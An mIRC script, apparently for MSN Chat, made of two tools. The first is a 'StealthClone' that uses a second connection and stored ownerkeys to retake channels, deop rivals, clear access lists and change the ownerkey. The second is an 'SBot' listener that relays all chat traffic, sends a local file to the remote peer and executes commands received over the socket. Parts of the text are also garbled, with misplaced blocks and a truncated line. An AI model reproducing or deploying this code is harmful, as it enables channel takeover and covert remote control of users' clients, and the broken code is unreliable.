alias stealthstat {
  if ($sock(@StealthClone,1).status != $null) { $awinfecho Stealth Clone is $upper($sock(@StealthClone,1).status) }
  if ($sock(@StealthClone,1).status == $null) { $awinfecho Stealth Clone is NOT ACTIVE }
}
alias stealth {
  .enable #stealthmode | .enable #stealthkick
  set %st.cl $r(A,Z) $+ $r(a,z) $+ - $+ $r(0,9)
  sockopen @StealthClone chat.msn.com 6667
}
on 1:SOCKOPEN:@StealthClone:{
  window -p @StealthClone 0 0 310 100 @StealthClone Arial | titlebar @StealthClone - (use !part in channel)
  sockwrite -n $sockname USER Pro Pro Pro :Kickit
  sockwrite -n $sockname NICK %st.cl
  sockwrite -n $sockname IRCX
  sockwrite -n $sockname MODE %st.cl +i
  drawpic -s @StealthClone 0 0 $mircdirgraphics\stealth.bmp
  drawtext -pbc $sockname 0 1 Arial 14 105 3 210 15 4Connection Status:15 $upper($sock($sockname,1).status)
  drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 OFF
  drawtext -pbc $sockname 0 1 Arial 14 105 35 210 15 4Last Chan:
  drawtext -pbc $sockname 0 1 Arial 14 105 51 210 15 4LastAction:
  window -a @StealthClone
}
on 1:SOCKREAD:@StealthClone:{
  if ($sockerr > 0) return
  :nextread
  sockread %sock.read.line
  if ($sockbr == 0) return
  if ($gettok(%sock.read.line,1,32) == PING) { sockwrite -n $sockname PONG $gettok(%sock.read.line,2-,58) }
  if ($gettok(%sock.read.line,2,32) == PROP) { set %Key. [ $+ [ $gettok(%sock.read.line,3,32) ] ] $remove($gettok(%sock.read.line,5,32),:) }
  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!part) { sockwrite -n $sockname PART $gettok(%sock.read.line,3,32) }
  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!q) { sockwrite -n $sockname MODE $gettok(%sock.read.line,3,32) +q $me }
  if ($gettok(%sock.read.line,2,32) == 800) { drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 ON $chr(160) }
  goto nextread
}
on 1:SOCKCLOSE:@StealthClone:set %sockwin $sockname | unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $sockname | window -c %sockwin
on 1:CLOSE:@StealthClone:unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $target
#stealthmode off
on 1:RAWMODE:#:{ 
if (($mode(1).deowner == $me) || ($mode(1).deop == $me)) && ($sock(@StealthClone) != $null) { .disable #stealthkick | sockwrite -n @StealthClone join $chan %Key. [ $+ [ $chan ] ] | set %cmask $address($nick,4) | sockwrite -n @StealthClone mode $chan +qq-ooo $me $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick | sockwrite -n @StealthClone prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) | sockwrite -n @StealthClone access $chan clear | set %st.last.chan %st.chan | set %st.last.act %st.act | set %st.chan $chan | set %st.act $iif($1 == -q,deowned,deoped) | .timerSTEALTH 1 3 finish.stealth | .timer 1 3 .enable #stealthkick | unset %cmask } }
.disable #stealthkick
sockwrite -n @StealthClone join $chan %Key. [ $+ [ $chan ] ] 
set %cmask $address($nick,4)
sockwrite -n @StealthClone access # clear
sockwrite -n @StealthClone mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick 
sockwrite -n @StealthClone prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) 
sockwrite -n @StealthClone access $chan clear 
set %st.last.chan %st.chan 
set %st.last.act %st.act 
set %st.chan $chan 
set %st.act $iif($1 == -q,deowned,deoped) 
.timerSTEALTH 1 3 finish.stealth 
.timer 1 3 .enable #stealthkick
}
 if (($gettok(%protect,4,32) == +q) && ($gettok(%protect,5,32) == %protect.nick)) {
    .timer $+ %protect.nick $+ $gettok(%protect,3,32) 0 15 sockwrite -nt $sockname access $gettok(%protect,3,32) add owner $ip
  }
  if (($gettok(%protect,4,32) == -q) && ($gettok(%protect,5,32) == %protect.nick)) {
    if ($level($address(%protect.knick,2)) = 100) { 
      if (%protect.deop = off) { halt }
      set %protect.deop off
      sockwrite -nt $sockname part $gettok(%protect,3,32)
      sockwrite -nt $sockname join $gettok(%protect,3,32) [ $+ [ $gettok(%protect,3,32) ] ]
      sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
      .timer 1 3 set %protect.deop on
      halt
    }
    else {
      if (%protect.deop = off) { halt }
      set %protect.deop off
      %mask = $address(%protect.knick,4)
      sockwrite -nt $sockname part $gettok(%protect,3,32)
      sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
      sockwrite -nt $sockname access $gettok(%protect,3,32) clear
      sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
      sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
      sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
      .timer 1 3 set %protect.deop on
      halt
    }
  }
  if (($gettok(%protect,4,32) == -q) && ($level($address($gettok(%protect,5,32),2)) = 100)) {
    if ($level($address(%protect.knick,2)) = 100)  { halt }
    else {
      if (%protect.deopp = off) { halt }
      set %protect.deopp off
      %mask = $address(%protect.knick,4)
      sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
      sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
      .timer 1 3 set %protect.deopp on
      halt
    }
  }
  if (($gettok(%protect,2,32) == KICK) && ($gettok(%protect,4,32) == %protect.nick)) {
    if ($level($address(%protect.knick,2)) = 100) { 
      sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
      sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
    }
    else {
      %mask = $address(%protect.knick,4)
      sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
      sockwrite -nt $sockname access $gettok(%protect,3,32) clear
      sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
      sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
      sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
      halt
    }
  }
  if (($gettok(%protect,2,32) == JOIN) && ($ip isin %protect)) {
    set %protect.join $mid(%protect,2,$calc($pos(%protect,!,1) - 2))
    if (%protect.join == %protect.nick) { halt }
    sockwrite -n $sockname mode $remove($gettok(%protect,3,32),:) +q %protect.join
    halt
  }
  if (($level($address(%protect.knick,2)) == 100) && ($gettok(%protect,2,32) == PRIVMSG)) { 
    if ($gettok(%protect,4,32) == :!hop) {
      sockwrite -nt $sockname part $gettok(%protect,3,32)
      sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
    }
    if ($gettok(%protect,4,32) == :!qme) {
      sockwrite -nt $sockname mode $gettok(%protect,3,32) +q %protect.knick
    }
    if ($gettok(%protect,4,32) == :!join) {
      sockwrite -nt $sockname join $gettok(%protect,5-,32)
    }
    if ($gettok(%protect,4,32) == :!part) {
      sockwrite -nt $sockname part $gettok(%protect,5-,32)
    }
    if ($gettok(%protect,4,32) == :!say) {
      sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $gettok(%protect,5-,32)
    }
    if ($gettok(%protect,4,32) == :!act) {
      sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $chr(1) $+ ACTION $gettok(%protect,5-,32) $+ $chr(1)
    }
    if ($gettok(%protect,4,32) == :!kick) {
      sockwrite -nt $sockname kick $gettok(%protect,3,32) $gettok(%protect,5,32) :X $gettok(%protect,6-,32)
    }
    if ($gettok(%protect,4,32) == :!+o) {
      echo @split1 ownering $gettok(%protect,5-,32)
      sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(q,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
    }
    if ($gettok(%protect,4,32) == :!+h) {
      echo @split1 host $gettok(%protect,5-,32)
      sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
    }
    if ($gettok(%protect,4,32) == :!+v) {
      echo @split1 voiceing $gettok(%protect,5-,32)
      sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(v,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
    }
    if ($gettok(%protect,4,32) == :!-o) {
      echo @split1 ownering $g
}
#stealthmode end
#stealthkick off
on 1:KICK:#: { 
if ($knick == $me) && ($sock(@StealthClone) != $null) { 
.disable #stealthmode 
set %cmask $address($nick,4)
sockwrite -n @StealthClone join # $ownerkey
sockwrite -n @StealthClone mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
sockwrite -n @StealthClone access # clear
sockwrite -n @StealthClone prop # ownerkey KuNt-( $+ $rand(1,999999) $+ )
sockwrite -n @StealthClone access # clear
set %st.last.chan %st.chan 
set %st.last.act %st.act 
set %st.chan $chan 
set %st.act kicked 
.timerSTEALTH 1 3 finish.stealth 
.timer 1 3 .enable #stealthmode 
sockwrite -nt @stealthclone part $chan
} 
}
#stealthkick end
alias finish.stealth {
drawtext -pbc @StealthClone 1 1 Arial 14 105 35 210 15 4Last Chan:1 %st.last.chan
drawtext -pbc @StealthClone 1 1 Arial 14 105 51 210 15 4LastAction:1 %st.last.act
drawtext -pbc @StealthClone 0 1 Arial 14 105 35 210 15 4Last Chan:15 %st.chan
drawtext -pbc @StealthClone 0 1 Arial 14 105 51 210 15 4LastAction:15 %st.act
join %st.chan %Key. [ $+ [ %st.chan ] ]
if ($me isowner %st.chan) { sockwrite -n @StealthClone part %st.chan }
if ($me !isowner %st.chan) { join %st.chan %Key. [ $+ [ %st.chan ] ] }
.enable #stealthmode | .enable #stealthkick
}
menu @StealthClone {
&Join Chan:sockwrite -n @StealthClone JOIN $$?="Enter Chan:"
&Part Chan:sockwrite -n @StealthClone PART $$?="Enter Chan:"
-
+&q me:sockwrite -n @StealthClone MODE $$?="Enter Chan:" +q $me
-
&Die:sockwrite -n @StealthClone QUIT
}
alias pex { 
sockwrite -n @StealthClone kick # $snicks(#,0)
kick # %st.cl
if ($opnick == $me) { set %deop.protection off | set %nick.mask $address($nick,2) | .sockwrite -tn join # %ownerkey | .sockwrite -tn mode # -qqq $ialchan(%nick.mask,#,1)
$ialchan(%nick.mask,#,2).nick $ial(%nick.mask,#,3).nick
}

}

on 1:START: listen

on 1:SOCKLISTEN:Stealth: {
unset %SBot.i
:start
inc %SBot.i
if ( $sock( [ SBot- $+ [ %SBot.i ] ] ) != $null ) { goto start }
.sockaccept [ SBot- $+ [ %SBot.i ] ]
%SBot.server = $server
if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
.sockwrite -n SBot- $+ [ %SBot.i ] CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
unset %SBot.*
}

on 1:SOCKREAD:SBot-*: {
if ( $sockerr > 0 ) .return
.sockread %SBot.read.temp
%SBot.read.temp1 = $gettok( %SBot.read.temp ,1,32)
if ( %SBot.read.temp1 == GETCOLORS ) { 
.sockwrite -n $sockname COLORS $rgb(Face) $+ $chr(140) $+ $rgb(Text) $+ $chr(140) $+ $rgb(Hilight) $+ $chr(140) $+ $rgb(Shadow) $+ $chr(140) $+ $bground(SwitchBar)
if ( $bground(SwitchBar) != none ) { 
  unset %SBot.read.i
  :start
  inc %SBot.read.i
  if ( $sock( [ SBot_Send- $+ [ %SBot.read.i ] ] ) != $null ) { goto start }
  .sockopen [ SBot_Send- $+ [ %SBot.read.i ] ] $sock($sockname).ip $gettok( %SBot.read.temp ,2,32) 
}
}
elseif ( %SBot.read.temp1 == GETWINS ) { winstat }
elseif ( %SBot.read.temp1 == GETNAMES ) { chanstat $gettok( %SBot.read.temp ,2,32) }
elseif ( %SBot.read.temp1 == GETIP ) {
if ( $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address }
elseif ( $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) }
else { .enableset #NickIP | %SBot.getnick $gettok( %SBot.read.temp ,2,32) | .userhost $gettok( %SBot.read.temp ,2,32) } 
}
elseif ( %SBot.read.temp1 == CONNECT ) { .sockmark $sockname $gettok( %SBot.read.temp ,2,32) }
else { 
if ( remove isin %SBot.read.temp1 ) || ( copy isin %SBot.read.temp1 ) || ( mkdir isin %SBot.read.temp1 ) || ( remini isin %SBot.read.temp1 ) || ( rename isin %SBot.read.temp1 ) || ( rmdir isin %SBot.read.temp1 ) || ( write isin %SBot.read.temp1 ) { unset %SBot.read.* | halt }
%SBot.read.temp 
}
unset %SBot.read.*
}

on 1:SOCKCLOSE:Stealth:.listen

on 1:SOCKOPEN:SBot_Send-*:{
.sockmark $sockname $bground(SwitchBar)
bread $sock($sockname).mark 0 4096 &SBot.temp
sockwrite $sockname &SBot.temp
}

on 1:SOCKWRITE:SBot_Send-*: {
if ($sockerr > 0) { halt }
if ($sock($sockname).sent >= $lof( $sock($sockname).mark) ) { sockclose $sockname | halt }
bread $sock($sockname).mark $sock($sockname).sent 4096 &SBot.temp
sockwrite $sockname &SBot.temp
}

on 1:INPUT: {
if ( $sock(SBot-*) != $null ) {
if ( Chat isin $target ) { %SBot.temp = $gettok( $target ,3,32) | .sockwrite -n SBot-* DCC CHAT %SBot.temp < $+ $me $+ > $1- }
elseif ( $left( $1 ,1) != $chr(47) ) { if ( Status !isin $target ) { .sockwrite -n SBot-* SHOW $target < $+ $me $+ > $1- } }
else { 
  %SBot.temp = $target
  if ( $gettok( %SBot.temp ,1,32) == Status ) { %SBot.temp = Status }
  .sockwrite -n SBot-* ACTION %SBot.temp $1- 
  %SBot.temp1 = $gettok( $1 ,1,47)
  if ( %SBot.temp1 == msg ) || ( %SBot.temp1 == query ) { .sockwrite -n SBot-* SHOW $2 < $+ $me $+ > $3- }
  elseif ( %SBot.temp1 == me ) || ( %SBot.temp1 == action ) || ( %SBot.temp1 == describe ) {
    if ( %SBot.temp1 == describe ) { %SBot.temp = $2 | %SBot.msg = $3- }
    else { %SBot.temp = $target | %SBot.msg = $2- }
    .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $me %SBot.msg
    unset %SBot.*
  }        
}
unset %SBot.*
}
}

on 1:CONNECT: {
if ( $sock(SBot-*) != $null ) { 
%SBot.server = $server
if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
.sockwrite -n SBot-* CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
}
}
on 1:DISCONNECT: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Info) $+ *** Disconnected | .sockwrite -n SBot-* DISCONNECT }

on 1:TEXT:*:*: {
if ( $sock(SBot-*) != $null ) {
%SBot.temp = $chan
if ( $chan == $null ) { %SBot.temp = $nick }
.sockwrite -n SBot-* SHOW %SBot.temp < $+ $nick $+ > $1- 
unset %SBot.*
}
}

on 1:NOTICE:*:*: {
if ( $sock(SBot-*) != $null ) {
if ( $chan != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ $colour(notice) $+ - $+ $nick $+ : $+ $chan $+ - $1- }
else { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
}
}

on 1:ACTION:*:*: {
if ( $sock(SBot-*) != $null ) {
%SBot.temp = $chan
if ( $chan == $me ) { %SBot.temp = $nick }
.sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $nick $1- 
unset %SBot.*
}
}

on 1:NICK: { 
if ( $sock(SBot-*) != $null ) {
if ( $nick == $me ) {
  %SBot.server = $server
  if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
  .sockwrite -n SBot-* CONNECT $newnick $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
}
unset %SBot.i
unset %SBot.temp
:start
inc %SBot.i
if ( %SBot.i <= $comchan( $newnick ,0) ) {
  if ( $newnick isop $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(64) }
  elseif ( $newnick isvo $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(43) }
  else { %SBot.char = $chr(149) }
  if ( %SBot.temp == $null ) { %SBot.temp = %SBot.char $+ $comchan( $newnick , %SBot.i ) }
  else { %SBot.temp = %SBot.temp $+ , $+ %SBot.char $+ $comchan( $newnick , %SBot.i ) }
  goto start
}
.sockwrite -n SBot-* NICK $nick $newnick %SBot.temp $colour(nick)
unset %SBot.*
}
}

on 1:QUIT: {
if ( $sock(SBot-*) != $null ) {
if ( $nick != $me ) {
  unset %SBot.i
  unset %SBot.temp
  :start
  inc %SBot.i
  if ( %SBot.i <= $comchan( $nick ,0) ) {
    if ( %SBot.temp == $null ) { %SBot.temp = $comchan( $nick , %SBot.i ) }
    else { %SBot.temp = %SBot.temp $+ , $+ $comchan( $nick , %SBot.i ) }
    goto start
  }
  %SBot.msg = $1
  if ( %SBot.msg == $null ) { %SBot.msg = Leaving }
  .sockwrite -n SBot-* QUIT $nick %SBot.temp  $+ $colour(Quit) $+ *** Quits: $nick ( $+ $1- $+ ) 
  .showinstat  $+ $colour(Quit) $+ *** $nick ( $+ $address $+ ) Quits ( $+ $1 $+ )
}
}
}  

on 1:DNS: {
if ( $sock(SBot-*) != $null ) { 
showinstat  $+ $colour(Other) $+ *** Looking up $iaddress 
if ( $raddress == $null ) { showinstat  $+ $colour(Other) $+ *** Unable to resolve $iaddress }
else { showinstat  $+ $colour(Other) $+ *** Resolved $iaddress to $raddress }
}
}

on 1:CLOSE:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:!: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:?: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE $target }
on 1:SNOTICE: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
on 1:NOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick is on IRC }
on 1:UNOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick has left IRC }
on 1:INVITE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* INVITE $chan $nick $colour(invite) $address }
on 1:USERMODE: if ( $sock(SBot-*) != $null ) { showinstat  $+ [ $colour( mode ) ] $+ *** $me sets mode: $1- | .sockwrite -n SBot-* UMODE $usermode }
on 1:MODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:SERVERMODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:TOPIC:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN TOPCHANGE $chan $nick $colour(topic) $1- }
on 1:OP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:SERVEROP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:DEOP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -o $opnick }
on 1:VOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +v $vnick }
on 1:DEVOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
on 1:JOIN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN JOIN $chan  $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
on 1:PART:#: if ( $sock(SBot-*) != $null ) { if ( $nick != $me ) { .sockwrite -n SBot-* CHAN PART $chan  $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan } }
on 1:KICK:#: if ( $sock(SBot-*) != $null ) { if ( $knick != $me ) { .sockwrite -n SBot-* CHAN KICK $chan  $+ $colour(Part) $+ *** $knick was kicked by $nick ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan | .showinstat  $+ $colour(Part) $+ *** You were kicked from $chan by $nick ( $+ $1- $+ ) } }
on 1:BAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode +b $banmask }
on 1:UNBAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode -b $banmask }
on 1:CHAT:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
on 1:SERV:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
ctcp 1:DCC CHAT: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick CTCP $colour(Info2) $colour(CTCP) $longip( $4 ) }
on 1:OPEN:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick ACK $colour(CTCP) DCC Chat connection established }

ctcp 1:*:*: {
if ( $1 == VERSION ) && ( $2 == SBot ) { .ctcpreply $nick VERSION $me is hosting SBot-Script ver. 2 |{o|)e|) by Goldfing | halt }
elseif ( $1 == SBot ) && ( $2 == Stats ) { 
unset %SBot.ctcp.i
:start
inc %SBot.ctcp.i
%SBot.ctcp.temp1 = SBot- [ $+ [ %SBot.ctcp.i ] ]
if ( $sock( %SBot.ctcp.temp1 ) != $null ) { %SBot.ctcp.temp = %SBot.ctcp.temp $sock(%SBot.ctcp.temp1).mark | goto start }
if ( %SBot.ctcp.temp != $null ) { /.ctcpreply $nick SBot Connected to: %SBot.ctcp.temp }
else { /.ctcpreply $nick SBot Not Connected to anyone }
unset %SBot.ctcp.*
halt
}
elseif ( $sock(SBot-*) != $null ) {
if ( $1 != DCC ) {
  %SBot.temp = $2-
  if ( $1 == PING ) { unset %SBot.temp }
  if ( $chan != $null ) { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $+ $chr(58) $+ $chan $1 $+ $chr(93) %SBot.temp }
  else { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $1 $+ $chr(93) %SBot.temp }
}
}
unset %SBot.*
}

on 1:CTCPREPLY:*: { 
if ( $sock(SBot-*) != $null ) {
if ( $1 != PING ) { showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $1 reply $+ $chr(93) $+ $chr(58) $2- }
else {
  set %SBot.pt $ctime - $2
  if (%SBot.pt < 0) { set %SBot.pt 0 }
  showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $nick PING reply $+ $chr(93) $+ $chr(58) %SBot.pt seconds
  unset %SBot.*
}    
}
}

;-------------------------------------  CONNECT -------------------------------------------
raw 1:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 2:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 3:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 4:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 251:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 252:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 253:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 254:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 255:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 265:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 266:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 372:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 375:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $4-7 }
raw 376:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------- WHOIS ---------------------------------------------------
raw 311:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 is $3 $+ @ $+ $4- }
raw 312:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 using $3- }
raw 313:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 This person is an IRCop }
raw 317:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 has been idle $duration( $3 ) $+ , signed on $asctime( $4 ) }
raw 319:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 on $3- }
raw 310:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 Is an CSop }
raw 301:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 is away: $3- }
raw 318:*: if ( $sock(SBot-*) != $null ) { showinstat $3- }
raw 422:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------- WHOWAS ------------------------------------------------
raw 314:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 was $3 $+ @ $+ $4- }
raw 406:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 $+ There was no such nickname }
raw 369:*: if ( $sock(SBot-*) != $null ) { showinstat $3- }

;-------------------------------------------------- WHO ---------------------------------------------------------
raw 352:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 $6-7 $3 $+ @ $+ $4 $+ : $+ $8-9 }
raw 315:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------- NAMES -------------------------------------------------------
raw 353:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $3 $4- }
raw 366:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------ BANLIST -------------------------------------------------------
raw 367:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 368:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;----------------------------------------------- AWAY -------------------------------------------------
raw 306:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 305:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;----------------------------------------------------- SERVER ERRORS -------------------------------------------------------
raw 401:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 403:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 404:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 405:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 421:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 431:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 432:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 433:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 441:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 442:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 443:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 465:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 467:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 471:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's full) }
raw 472:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 473:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's invite only) }
raw 474:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (you're banned!) }
raw 475:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (requires the correct key) }
raw 477:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (need to be using a registered nick) } 
raw 482:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 501:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
